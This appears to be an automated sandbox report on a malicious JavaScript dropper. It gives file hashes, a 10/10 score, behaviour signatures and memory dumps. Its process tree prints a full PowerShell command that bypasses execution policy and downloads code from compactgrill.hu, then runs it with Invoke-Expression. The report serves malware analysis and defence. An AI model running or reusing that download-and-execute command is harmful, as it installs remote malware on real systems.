Analysis

  • max time kernel
    122s
  • max time network
    127s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    05-03-2024 02:23

General

  • Target

    6688ba0f6d277c34f47f6aaddcd4794f3d019f6aaf56caf07c18d56d5bc77c41.js

  • Size

    73KB

  • MD5

    b7de158113029fa1f14355c99f715ac8

  • SHA1

    638d00e2394cd5ac45d12aea3c7a708e01dcb3ad

  • SHA256

    6688ba0f6d277c34f47f6aaddcd4794f3d019f6aaf56caf07c18d56d5bc77c41

  • SHA512

    15e84ee92a5c9ec273955f4d94e2bd722c94e9051a7e36a27c9416f73eec9b05a1b072718bb264f47e204e4e4c7a9091d96c168d000ca06db22b4f1f105b40a1

  • SSDEEP

    1536:voChqle4yZ7K1Kho+QU0+xNUa4n33jcbo/MQsAkNn39vc5tgZF013:QChUyZ70K2+BSau4s/MQstNn3lc5Jp

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://compactgrill.hu/care.txt

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\6688ba0f6d277c34f47f6aaddcd4794f3d019f6aaf56caf07c18d56d5bc77c41.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2208
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://compactgrill.hu/care.txt')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2628

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2628-4-0x000000001B350000-0x000000001B632000-memory.dmp

    Filesize

    2.9MB

  • memory/2628-5-0x0000000001FC0000-0x0000000001FC8000-memory.dmp

    Filesize

    32KB

  • memory/2628-6-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

    Filesize

    9.6MB

  • memory/2628-7-0x0000000002770000-0x00000000027F0000-memory.dmp

    Filesize

    512KB

  • memory/2628-8-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

    Filesize

    9.6MB

  • memory/2628-9-0x0000000002770000-0x00000000027F0000-memory.dmp

    Filesize

    512KB

  • memory/2628-11-0x0000000002770000-0x00000000027F0000-memory.dmp

    Filesize

    512KB

  • memory/2628-10-0x0000000002770000-0x00000000027F0000-memory.dmp

    Filesize

    512KB

  • memory/2628-12-0x0000000002770000-0x00000000027F0000-memory.dmp

    Filesize

    512KB

  • memory/2628-13-0x0000000002770000-0x00000000027F0000-memory.dmp

    Filesize

    512KB

  • memory/2628-14-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

    Filesize

    9.6MB